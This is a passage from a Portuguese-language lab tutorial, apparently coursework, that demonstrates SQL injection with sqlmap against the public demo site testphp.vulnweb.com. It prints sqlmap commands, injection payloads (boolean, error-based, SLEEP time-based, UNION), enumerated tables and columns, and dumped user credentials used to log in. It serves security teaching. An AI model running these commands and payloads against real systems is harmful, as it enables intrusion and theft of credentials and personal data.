- **Testes Error-based**: Esses testes exploram a possibilidade de injeção de SQL gerando erros no banco de dados e analisando as respostas. Eles tentam induzir o DBMS a gerar um erro específico, revelando assim informações sobre a estrutura do banco de dados.
- **Testes Parameter Replace**: Esses testes exploram a possibilidade de injeção de SQL substituindo parâmetros da consulta SQL. Eles tentam substituir partes da consulta SQL por valores controlados pelo atacante, explorando assim possíveis vulnerabilidades.
- **Testes de Stacked Queries**: Esses testes exploram a possibilidade de executar várias consultas em uma única solicitação, conhecida como consultas empilhadas. Eles são úteis para realizar operações mais complexas no banco de dados.
- **Testes Time-based Blind**: Esses testes exploram a possibilidade de injeção de SQL induzindo atrasos de tempo na resposta do servidor. Eles tentam determinar se a aplicação responde com atrasos de tempo específicos, o que pode indicar que uma injeção de SQL foi bem-sucedida.

As vulnerabilidades encontradas foram:

- **Boolean-based Blind**: Esta vulnerabilidade permite ao atacante inferir informações sobre a estrutura do banco de dados explorando diferenças no comportamento da aplicação com diferentes condições booleanas. No exemplo fornecido, o teste executou uma consulta SQL do tipo 'AND boolean-based blind', onde a condição '5066=5066' foi adicionada à consulta. Se a aplicação retornar uma resposta diferente com essa condição, ela pode indicar que a injeção de SQL foi bem-sucedida.
- **Time-based Blind**: Esta vulnerabilidade permite ao atacante inferir informações sobre o banco de dados introduzindo atrasos de tempo na resposta do servidor. No exemplo fornecido, o teste executou uma consulta SQL do tipo 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)', onde a função 'SLEEP(5)' foi usada para induzir um atraso de 5 segundos na resposta do servidor. Se a aplicação demorar a responder com essa condição, pode indicar que a injeção de SQL foi bem-sucedida.

- **UNION Query**: Esta vulnerabilidade permite ao atacante combinar os resultados de duas consultas em uma única resposta, o que pode revelar informações adicionais do banco de dados. No exemplo fornecido, o teste executou uma consulta SQL do tipo 'Generic UNION query (NULL) - 3 columns', onde uma instrução UNION foi usada para combinar os resultados de duas consultas. O atacante pode usar essa técnica para extrair dados confidenciais do banco de dados.

6. Como você pode ver na linha de comando resultante do teste do item anterior, existem duas bases de dados disponíveis no site (acuart e information_schema). Vamos encontrar as tabelas do database acuart usando o comando:

```
┌──(root㉿kali)-[~]
└─# qlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart
-tables
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.9.8#stable}
|_ -| . ['']     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without
prior mutual consent is illegal. It is the end user's responsibility to
obey all applicable local, state and federal laws. Developers assume no
liability and are not responsible for any misuse or damage caused by
this program

[*] starting @ 21:45:28 /2025-09-29/

[21:45:28] [INFO] resuming back-end DBMS 'mysql'
[21:45:28] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: artist (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: artist=1 AND 9645=9645

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (GTID_SUBSET)
    Payload: artist=1 AND GTID_SUBSET(CONCAT(0x716a627871,(SELECT
(ELT(9269=9269,1))),0x7178787a71),9269)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: artist=1 AND (SELECT 2272 FROM (SELECT(SLEEP(5)))iIoz)

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: artist=-2389 UNION ALL SELECT
CONCAT(0x716a627871,0x5a496f43415a58784e7069686f524b6c796d4d64464875455
95665436b70545467426d5549477348,0x7178787a71),NULL,NULL-- -
---
[21:45:29] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[21:45:29] [INFO] fetching tables for database: 'acuart'
```

```
[21:45:29] [INFO] fetching tables for database: 'acuart'
Database: acuart
[8 tables]
+-----------+
| artists   |
| carts     |
| categ     |
| featured  |
| guestbook |
| pictures  |
| products  |
| users     |
+-----------+

[21:45:29] [INFO] fetched data logged to text files under '/
root/.local/share/sqlmap/output/testphp.vulnweb.com'

[*] ending @ 21:45:29 /2025-09-29/
```

Veja que as seguintes tabelas foram encontradas: artists; carts; categ; featured; guestbook; pictures; products; users.

7. Vamos encontrar as tabelas e colunas do database acuart para obter uma melhor ideia sobre o site:

```
┌──(root㉿kali)-[~]
└─# sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart
-columns
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.9.8#stable}
|_ -| . [(]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without
prior mutual consent is illegal. It is the end user's responsibility to
obey all applicable local, state and federal laws. Developers assume no
liability and are not responsible for any misuse or damage caused by
this program

[*] starting @ 21:45:54 /2025-09-29/

[21:45:54] [INFO] resuming back-end DBMS 'mysql'
[21:45:54] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: artist (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: artist=1 AND 9645=9645

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (GTID_SUBSET)
    Payload: artist=1 AND GTID_SUBSET(CONCAT(0x716a627871,(SELECT
(ELT(9269=9269,1))),0x7178787a71),9269)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: artist=1 AND (SELECT 2272 FROM (SELECT(SLEEP(5)))iIoz)

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: artist=-2389 UNION ALL SELECT
CONCAT(0x716a627871,0x5a496f43415a58784e7069686f524b6c796d4d64464875455
95665436b70545467426d5549477348,0x7178787a71),NULL,NULL-- -
---
[21:45:54] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.6.40, Nginx 1.19.0
back-end DBMS: MySQL >= 5.6
[21:45:54] [INFO] fetching tables for database: 'acuart'
```

```
[21:45:54] [INFO] fetching tables for database: 'acuart'
[21:45:54] [INFO] fetching columns for table 'artists' in database
'acuart'
[21:45:54] [INFO] fetching columns for table 'featured' in database
'acuart'
[21:45:55] [INFO] fetching columns for table 'categ' in database
'acuart'
[21:45:55] [INFO] fetching columns for table 'pictures' in database
'acuart'
[21:45:55] [INFO] fetching columns for table 'guestbook' in database
'acuart'
[21:45:55] [INFO] fetching columns for table 'carts' in database
'acuart'
[21:45:55] [INFO] fetching columns for table 'products' in database
'acuart'
[21:45:55] [INFO] fetching columns for table 'users' in database
'acuart'
Database: acuart
Table: artists
[3 columns]
+-----------+-------------+
| Column    | Type        |
+-----------+-------------+
| adesc     | text        |
| aname     | varchar(50) |
| artist_id | int         |
+-----------+-------------+

Database: acuart
Table: featured
[2 columns]
+--------------+------+
| Column       | Type |
+--------------+------+
| feature_text | text |
| pic_id       | int  |
+--------------+------+

Database: acuart
Table: categ
[3 columns]
+--------+------------+
| Column | Type       |
+--------+------------+
| cat_id | int        |
| cdesc  | tinytext   |
| cname  | varchar(50) |
+--------+------------+
```

```
Database: acuart
Table: pictures
[8 columns]
+--------+--------------+
| Column | Type         |
+--------+--------------+
| a_id   | int          |
| cat_id | int          |
| img    | varchar(50)  |
| pic_id | int          |
| plong  | text         |
| price  | int          |
| pshort | mediumtext   |
| title  | varchar(100) |
+--------+--------------+

Database: acuart
Table: guestbook
[3 columns]
+----------+--------------+
| Column   | Type         |
+----------+--------------+
| mesaj    | text         |
| sender   | varchar(150) |
| senttime | int          |
+----------+--------------+

Database: acuart
Table: carts
[3 columns]
+---------+--------------+
| Column  | Type         |
+---------+--------------+
| cart_id | varchar(100) |
| item    | int          |
| price   | int          |
+---------+--------------+

Database: acuart
Table: products
[5 columns]
+-------------+--------------+
| Column      | Type         |
+-------------+--------------+
| description | text         |
| name        | text         |
| id          | int unsigned |
| price       | int unsigned |
```

```
| rewritename | text         |
+-------------+--------------+

Database: acuart
Table: users
[8 columns]
+---------+--------------+
| Column  | Type         |
+---------+--------------+
| name    | varchar(100) |
| address | mediumtext   |
| cart    | varchar(100) |
| cc      | varchar(100) |
| email   | varchar(100) |
| pass    | varchar(100) |
| phone   | varchar(100) |
| uname   | varchar(100) |
+---------+--------------+

[21:45:55] [INFO] fetched data logged to text files under '/
root/.local/share/sqlmap/output/testphp.vulnweb.com'

[*] ending @ 21:45:55 /2025-09-29/
```

Veja as colunas encontradas:

- **Tabela: artists** – Colunas: adesc: tipo text (descrição do artista); aname: tipo varchar(50) (nome do artista); artist_id: tipo int (identificador único do artista). Essa tabela armazena informações sobre os artistas exibidos no site.
- **Tabela: featured** - Colunas: feature_text: tipo text (texto destacado na seção de destaque); pic_id: tipo int (ID da imagem associada ao destaque). Utilizada para gerenciar conteúdos em destaque na interface do site.
- **Tabela: categ** – Colunas: cat_id: tipo int (ID da categoria); cdesc: tipo tinytext (descrição breve da categoria); cname: tipo varchar(50) (nome da categoria). Armazena as categorias dos produtos ou artistas disponíveis no sistema.
- **Tabela: pictures** – Colunas: a_id: tipo int (ID do artista associado à imagem); cat_id: tipo int (ID da categoria da imagem); img: tipo varchar(50) (nome do arquivo da imagem); pic_id: tipo int (ID único da imagem); plong: tipo text (descrição longa da imagem); price: tipo int (preço da imagem ou produto associado); pshort: tipo mediumtext (descrição curta do produto); title: tipo varchar(100) (título da imagem ou produto). Tabela central para exibição de imagens e produtos, com dados descritivos e relacionais.

- **Tabela: guestbook** – Colunas: mesaj: tipo text (mensagem deixada pelo visitante); sender: tipo varchar(150) (nome do remetente); senttime: tipo int (timestamp da data/hora da mensagem). Representa um livro de visitas onde usuários podem enviar mensagens públicas.
- **Tabela: carts** – Colunas: cart_id: tipo varchar(100) (ID do carrinho de compras); item: tipo int (ID do item adicionado ao carrinho); price: tipo int (preço do item no momento da adição). Armazena temporariamente itens nos carrinhos de compra dos usuários.
- **Tabela: products** – Colunas: description: tipo text (descrição completa do produto); name: tipo text (nome do produto); id: tipo int unsigned (ID numérico único do produto); price: tipo int unsigned (valor do produto); rewritename: tipo text (nome amigável para URLs). Contém os dados principais dos produtos oferecidos no site.
- **Tabela: users** – Colunas: name: tipo varchar(100) (nome completo do usuário); address: tipo mediumtext (endereço físico); cart: tipo varchar(100) (ID do carrinho associado); cc: tipo varchar(100) (número do cartão de crédito — informação sensível); email: tipo varchar(100) (e-mail do usuário); pass: tipo varchar(100) (senha do usuário — potencialmente em texto plano ou hash fraco); phone: tipo varchar(100) (telefone de contato); uname: tipo varchar(100) (nome de usuário/login). Esta é uma das tabelas mais críticas, pois contém dados pessoais e financeiros. A presença de campos como cc e pass indica risco elevado em caso de vazamento.

8. Agora que sabemos as colunas, vamos tentar encontrar o valor das colunas (as tabelas podem ser apresentadas em ordem diferente):

```
┌──(root㉿kali)-[~]
└─# sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart
-T users -C uname --dump
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.9.8#stable}
|_ -| . ["]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without
prior mutual consent is illegal. It is the end user's responsibility to
obey all applicable local, state and federal laws. Developers assume no
liability and are not responsible for any misuse or damage caused by
this program

[*] starting @ 21:59:17 /2025-09-29/

[21:59:17] [INFO] resuming back-end DBMS 'mysql'
[21:59:17] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: artist (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: artist=1 AND 9645=9645

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (GTID_SUBSET)
    Payload: artist=1 AND GTID_SUBSET(CONCAT(0x716a627871,(SELECT
(ELT(9269=9269,1))),0x7178787a71),9269)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: artist=1 AND (SELECT 2272 FROM (SELECT(SLEEP(5)))iIoz)

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: artist=-2389 UNION ALL SELECT
CONCAT(0x716a627871,0x5a496f43415a58784e7069686f524b6c796d4d64464875455
95665436b70545467426d5549477348,0x7178787a71),NULL,NULL-- -
---
[21:59:17] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.6.40, Nginx 1.19.0
back-end DBMS: MySQL >= 5.6
[21:59:17] [INFO] fetching entries of column(s) 'uname' for table
```

```
[21:59:17] [INFO] fetching entries of column(s) 'uname' for table
'users' in database 'acuart'
Database: acuart
Table: users
[1 entry]
+-------+
| uname |
+-------+
| test  |
+-------+

[21:59:18] [INFO] table 'acuart.users' dumped to CSV file '/
root/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/
users.csv'
[21:59:18] [INFO] fetched data logged to text files under '/
root/.local/share/sqlmap/output/testphp.vulnweb.com'

[*] ending @ 21:59:18 /2025-09-29/
```

SQLMap prossegue para recuperar dados do banco de dados. Ele está buscando as entradas da coluna "uname" da tabela "users" no banco de dados "acuart". Neste caso, ele encontra uma entrada que possui o valor "test" na coluna "uname". Isso significa que na tabela de usuários do banco de dados "acuart", há pelo menos um registro com o nome de usuário "test". Este é o único resultado encontrado pela busca.

9. Da mesma maneira, você pode obter a senha para o campo "uname":

```
┌──(root㉿kali)-[~]
└─# sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart
-T users -C pass –dump
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.9.8#stable}
|_ -| . ['] | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without
prior mutual consent is illegal. It is the end user's responsibility to
obey all applicable local, state and federal laws. Developers assume no
liability and are not responsible for any misuse or damage caused by
this program

[*] starting @ 22:01:06 /2025-09-29/

[22:01:06] [INFO] resuming back-end DBMS 'mysql'
[22:01:06] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: artist (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: artist=1 AND 9645=9645

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (GTID_SUBSET)
    Payload: artist=1 AND GTID_SUBSET(CONCAT(0x716a627871,(SELECT
(ELT(9269=9269,1))),0x7178787a71),9269)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: artist=1 AND (SELECT 2272 FROM (SELECT(SLEEP(5)))iIoz)

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: artist=-2389 UNION ALL SELECT
CONCAT(0x716a627871,0x5a496f43415a58784e7069686f524b6c796d4d64464875455
95665436b70545467426d5549477348,0x7178787a71),NULL,NULL-- -
---
[22:01:07] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[22:01:07] [INFO] fetching entries of column(s) 'pass' for table
```

```
[22:01:07] [INFO] fetching entries of column(s) 'pass' for table
'users' in database 'acuart'
Database: acuart
Table: users
[1 entry]
+------+
| pass |
+------+
| test |
+------+

[22:01:07] [INFO] table 'acuart.users' dumped to CSV file '/
root/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/
users.csv'
[22:01:07] [INFO] fetched data logged to text files under '/
root/.local/share/sqlmap/output/testphp.vulnweb.com'

[*] ending @ 22:01:07 /2025-09-29/
```

O SQLMap está buscando os valores da coluna "pass" da tabela "users" no banco de dados "acuart". Ele encontrou uma entrada que possui o valor "test" na coluna "pass". Esse é o único resultado encontrado pela busca.

10. Veja que o usuário encontrado foi “test” (passo 8) e a senha também “test” (passo 9). No Firefox, acesse o site do passo 2 e clique no botão “Signup”, localizado na coluna da esquerda.
11. Na nova janela, insira as credenciais encontradas no passo 10 e tente a autenticação. Veja que você conseguiu autenticação e explorar o ataque SQL Injection (**NÃO SE ESQUEÇA DE PRINTAR ESTE PASSO!**)!
12. Feche o Terminal e o Firefox.

Parabéns! Agora você sabe como funciona o ataque SQM Injection com a ferramenta SQLmap.